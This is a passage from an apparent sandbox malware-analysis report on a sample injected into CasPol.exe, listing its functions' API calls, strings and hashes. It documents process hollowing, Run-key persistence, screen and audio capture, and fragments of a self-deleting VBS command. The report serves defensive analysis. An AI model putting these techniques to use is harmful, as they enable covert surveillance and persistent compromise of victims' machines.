                                                                                                                                                                  • API String ID: 1272433827-0
                                                                                                                                                                  • Opcode ID: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                                                                                                                                  • Instruction ID: 877f7ae5c491a2fbf36f534f7b8138893028b6a81f24f5c3744eb9f6a7677366
                                                                                                                                                                  • Opcode Fuzzy Hash: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                                                                                                                                  • Instruction Fuzzy Hash: F6F04932A10200EFEB04EF68E806B4D77B0EB44725F10816AF414DB2E2DB7889818B49
                                                                                                                                                                  Function 00450CF7 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00450C4E,00000001,?,?,?,004514B9,<D,?,?,?,?,?,00443CEC,?,?,?), ref: 00450D2E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1084509184-0
                                                                                                                                                                  • Opcode ID: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                                                                                                                                  • Instruction ID: ec648f77c102ae861fabd43d141f98194b25f4d0b1f390d0839222eb7000fb0b
                                                                                                                                                                  • Opcode Fuzzy Hash: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                                                                                                                                  • Instruction Fuzzy Hash: CBF05C3D30020557CB159F35D81576B7F94EFC2711B07405AFE098B381C239D846C754
                                                                                                                                                                  Function 0040E679 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004145AD,00473EE8,00474A10,00473EE8,00000000,00473EE8,?,00473EE8,5.3.0 Pro), ref: 0040E68D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2299586839-0
                                                                                                                                                                  • Opcode ID: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                                                                                                                                  • Instruction ID: fdf89a5244b67fc368892e36cd71d3b7bc7b33248e42f87f25a9228cb5794c84
                                                                                                                                                                  • Opcode Fuzzy Hash: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                                                                                                                                  • Instruction Fuzzy Hash: E6D05E607002197BEA109291DC0AE9B7A9CE700B66F000165BA01E72C0E9A0AF008AE1
                                                                                                                                                                  Function 0044E92E Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HeapProcess
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 54951025-0
                                                                                                                                                                  • Opcode ID: c4eeb5daf7d20212f04cf1a35fe49476965deb7007d4ee0647dc212291e34da0
                                                                                                                                                                  • Instruction ID: 9504a653bcf427532d5064532c05f1d04939bb5561e35e6535c2a7eba45b7a60
                                                                                                                                                                  • Opcode Fuzzy Hash: c4eeb5daf7d20212f04cf1a35fe49476965deb7007d4ee0647dc212291e34da0
                                                                                                                                                                  • Instruction Fuzzy Hash: 84A00270506201CB57404F756F0525937D9654559170580755409C5571D62585905615
                                                                                                                                                                  Function 00417F9F Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 324windowmemoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00417FB9
                                                                                                                                                                  • CreateCompatibleDC.GDI32(00000000), ref: 00417FC4
                                                                                                                                                                    • Part of subcall function 00418452: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00418482
                                                                                                                                                                  • CreateCompatibleBitmap.GDI32(?,00000000), ref: 00418045
                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 0041805D
                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418060
                                                                                                                                                                  • SelectObject.GDI32(00000000,00000000), ref: 0041806B
                                                                                                                                                                  • StretchBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,00CC0020), ref: 00418093
                                                                                                                                                                  • GetIconInfo.USER32 ref: 004180CB
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004180FA
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00418107
                                                                                                                                                                  • DrawIcon.USER32(00000000,?,?,?), ref: 00418114
                                                                                                                                                                  • BitBlt.GDI32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00660046), ref: 00418144
                                                                                                                                                                  • GetObjectA.GDI32(?,00000018,?), ref: 00418173
                                                                                                                                                                  • LocalAlloc.KERNEL32(00000040,00000028), ref: 004181BC
                                                                                                                                                                  • LocalAlloc.KERNEL32(00000040,00000001), ref: 004181DF
                                                                                                                                                                  • GlobalAlloc.KERNEL32(00000000,?), ref: 00418248
                                                                                                                                                                  • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0041826B
                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 0041827F
                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418282
                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 00418285
                                                                                                                                                                  • GlobalFree.KERNEL32(00CC0020), ref: 00418290
                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 00418344
                                                                                                                                                                  • GlobalFree.KERNEL32(?), ref: 0041834B
                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 0041835B
                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418366
                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 00418398
                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 0041839B
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004183A1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Delete$Object$AllocCreateGlobal$CompatibleFreeIconLocal$BitmapBitsDisplayDrawEnumInfoSelectSettingsStretch
                                                                                                                                                                  • String ID: DISPLAY
                                                                                                                                                                  • API String ID: 1765752176-865373369
                                                                                                                                                                  • Opcode ID: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                                                                                                                                  • Instruction ID: f05cd178694609e891ba83f5bdf02bb76ea447df34f4969275af8919d08089d1
                                                                                                                                                                  • Opcode Fuzzy Hash: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                                                                                                                                  • Instruction Fuzzy Hash: 12C17C31508345AFD3209F25DC44BABBBE9FF88751F04082EF989932A1DB34E945CB5A
                                                                                                                                                                  Function 00417245 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 290libraryloaderthreadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 0041728C
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0041728F
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 004172A0
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004172A3
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 004172B4
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004172B7
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004172C8
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004172CB
                                                                                                                                                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0041736C
                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00417384
                                                                                                                                                                  • GetThreadContext.KERNEL32(?,00000000), ref: 0041739A
                                                                                                                                                                  • ReadProcessMemory.KERNEL32 ref: 004173C0
                                                                                                                                                                  • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00417440
                                                                                                                                                                  • TerminateProcess.KERNEL32(?,00000000), ref: 00417454
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 0041748B
                                                                                                                                                                  • WriteProcessMemory.KERNEL32 ref: 00417558
                                                                                                                                                                  • SetThreadContext.KERNEL32(?,00000000), ref: 00417575
                                                                                                                                                                  • ResumeThread.KERNEL32(?), ref: 00417582
                                                                                                                                                                  • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041759A
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?), ref: 004175A5
                                                                                                                                                                  • TerminateProcess.KERNEL32(?,00000000), ref: 004175BF
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004175C7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                                                                                                                                  • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                                                                                                  • API String ID: 4188446516-3035715614
                                                                                                                                                                  • Opcode ID: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                                                                                                                                  • Instruction ID: f03761d26bac9a2bfb1ad98f85ac7da09ef0bd98ba300517d6d91d37beebd467
                                                                                                                                                                  • Opcode Fuzzy Hash: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                                                                                                                                  • Instruction Fuzzy Hash: EEA17C71508304AFD7209F65DC45B6B7BF9FF48345F00082AF689C2661E775E984CB6A
                                                                                                                                                                  Function 004112B5 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 189synchronizationsleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateMutexA.KERNEL32(00000000,00000001,00000000,004742F8,?,00000000), ref: 004112D4
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0041151D
                                                                                                                                                                    • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?), ref: 00412679
                                                                                                                                                                    • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                                                                                                    • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                                                                                                                                    • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041135B
                                                                                                                                                                  • OpenProcess.KERNEL32(00100000,00000000,T@,?,?,?,?,00000000), ref: 0041136A
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 00411375
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041137C
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 00411382
                                                                                                                                                                    • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                                                                                                    • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                                                                                                    • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?), ref: 00412809
                                                                                                                                                                  • PathFileExistsW.SHLWAPI(?), ref: 004113B3
                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?), ref: 0041140F
                                                                                                                                                                  • GetTempFileNameW.KERNEL32(?,temp_,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00411429
                                                                                                                                                                  • lstrcatW.KERNEL32(?,.exe,?,?,?,?,?,?,?,00000000), ref: 0041143B
                                                                                                                                                                    • Part of subcall function 0041B58F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5EB
                                                                                                                                                                    • Part of subcall function 0041B58F: WriteFile.KERNEL32(00000000,00000000,00000000,004061FD,00000000), ref: 0041B5FF
                                                                                                                                                                    • Part of subcall function 0041B58F: CloseHandle.KERNEL32(00000000), ref: 0041B60C
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00411483
                                                                                                                                                                  • Sleep.KERNEL32(000001F4,?,?,?,?,00000000), ref: 004114C4
                                                                                                                                                                  • OpenProcess.KERNEL32(00100000,00000000,?,?,?,?,?,00000000), ref: 004114D9
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 004114E4
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 004114EB
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 004114F1
                                                                                                                                                                    • Part of subcall function 0041B58F: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateProcess$HandleOpen$CurrentObjectPathSingleTempValueWait$ExecuteExistsExitMutexNamePointerQueryShellSleepWritelstrcat
                                                                                                                                                                  • String ID: .exe$0DG$@CG$T@$WDH$exepath$open$temp_
                                                                                                                                                                  • API String ID: 4250697656-2665858469
                                                                                                                                                                  • Opcode ID: eb8ff656f144838187034c17abf61e056b931f5bb5ec87d5f57ca59327fe8020
                                                                                                                                                                  • Instruction ID: b1cd6038c3dd2fca16f1d1fb39a824579eeb1b45f376adef666059b0b2e54ae4
                                                                                                                                                                  • Opcode Fuzzy Hash: eb8ff656f144838187034c17abf61e056b931f5bb5ec87d5f57ca59327fe8020
                                                                                                                                                                  • Instruction Fuzzy Hash: D751B671A043156BDB00A7A0AC49EFE736D9B44715F1041BBF905A72D2EF7C8E828A9D
                                                                                                                                                                  Function 0040C28E Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 282registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                                                                                                                                    • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040C38B
                                                                                                                                                                  • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C39E
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040C3B7
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040C3E7
                                                                                                                                                                    • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00000000,?,0040C2B0,?,00000000), ref: 0040AFC9
                                                                                                                                                                    • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32 ref: 0040AFD5
                                                                                                                                                                    • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(00409993,00000000,?,0040C2B0,?,00000000), ref: 0040AFE3
                                                                                                                                                                    • Part of subcall function 0041B58F: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C632
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040C63E
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                                                                  • String ID: """, 0$")$@CG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                                                                                                  • API String ID: 1861856835-3168347843
                                                                                                                                                                  • Opcode ID: 1fca09a02b8493e53294f51d4634f72964b40bbef437048ec22e150e28ca3ccf
                                                                                                                                                                  • Instruction ID: c8b5e11b4abf5c95f8ab28b2bb359051ef64700817c412cd349ec45860bdb676
                                                                                                                                                                  • Opcode Fuzzy Hash: 1fca09a02b8493e53294f51d4634f72964b40bbef437048ec22e150e28ca3ccf
                                                                                                                                                                  • Instruction Fuzzy Hash: EB9175316042005AC314FB25D852ABF7799AF91718F10453FF98A631E2EF7CAD49C69E
                                                                                                                                                                  Function 0040BF04 Relevance: 40.5, APIs: 6, Strings: 17, Instructions: 260registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                                                                                                                                    • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C013
                                                                                                                                                                  • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C026
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C056
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C065
                                                                                                                                                                    • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00000000,?,0040C2B0,?,00000000), ref: 0040AFC9
                                                                                                                                                                    • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32 ref: 0040AFD5
                                                                                                                                                                    • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(00409993,00000000,?,0040C2B0,?,00000000), ref: 0040AFE3
                                                                                                                                                                    • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C280
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040C287
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                                                                  • String ID: ")$.vbs$@CG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("
                                                                                                                                                                  • API String ID: 3797177996-1998216422
                                                                                                                                                                  • Opcode ID: c4cc4d00899e4284936be169aaff6719d95b62d3fffb22ecd15678fbb4326d45
                                                                                                                                                                  • Instruction ID: 1063ce1f4075510d90626cdc8b34ac690c3cf2dc76fa2c9c3337a4c1feab76e8
                                                                                                                                                                  • Opcode Fuzzy Hash: c4cc4d00899e4284936be169aaff6719d95b62d3fffb22ecd15678fbb4326d45
                                                                                                                                                                  • Instruction Fuzzy Hash: B78191316042005BC315FB21D862ABF77A9ABD1308F10453FF586A71E2EF7CAD49869E
                                                                                                                                                                  Function 0041A1BB Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041A2B2
                                                                                                                                                                  • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041A2C6
                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,00465554), ref: 0041A2EE
                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0041A2FF
                                                                                                                                                                  • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041A340
                                                                                                                                                                  • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041A358
                                                                                                                                                                  • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041A36D
                                                                                                                                                                  • SetEvent.KERNEL32 ref: 0041A38A
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(000001F4), ref: 0041A39B
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 0041A3AB
                                                                                                                                                                  • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041A3CD
                                                                                                                                                                  • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041A3D7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                                                                                                  • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$>G
                                                                                                                                                                  • API String ID: 738084811-1408154895
                                                                                                                                                                  • Opcode ID: c362ced5fa98a12e984468584ff4096b6ed47b7628e845a56c9a339ad7c4d382
                                                                                                                                                                  • Instruction ID: 9d48d6c6e0579c1e833a8367b0d02802659df9f73890df0c3e8ff2b6504ede8e
                                                                                                                                                                  • Opcode Fuzzy Hash: c362ced5fa98a12e984468584ff4096b6ed47b7628e845a56c9a339ad7c4d382
                                                                                                                                                                  • Instruction Fuzzy Hash: 9A51C2712443056AD214BB31DC82EBF3B5CEB91758F10043FF455A21E2EE389D9986AF
                                                                                                                                                                  Function 00401BE8 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401C7E
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401C8E
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401C9E
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401CAE
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401CBE
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401CCF
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00471B02,00000002,00000000,00000000), ref: 00401CE0
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00471B04,00000004,00000000,00000000), ref: 00401CF0
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401D00
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401D11
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00471B0E,00000002,00000000,00000000), ref: 00401D22
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401D32
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401D42
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Write$Create
                                                                                                                                                                  • String ID: RIFF$WAVE$data$fmt
                                                                                                                                                                  • API String ID: 1602526932-4212202414
                                                                                                                                                                  • Opcode ID: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                                                                                                                                  • Instruction ID: 129ba3454a43ec42bedb537cb07bfa8f9eb5569c2d2d4c431363fc199bcfbd5c
                                                                                                                                                                  • Opcode Fuzzy Hash: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                                                                                                                                  • Instruction Fuzzy Hash: 66416F726443187AE210DB51DD86FBB7EECEB85F54F40081AFA44D6090E7A4E909DBB3
                                                                                                                                                                  Function 004064E0 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000001,004068B2,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000003,004068DA,004742E0,00406933), ref: 004064F4
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004064FD
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 0040650E
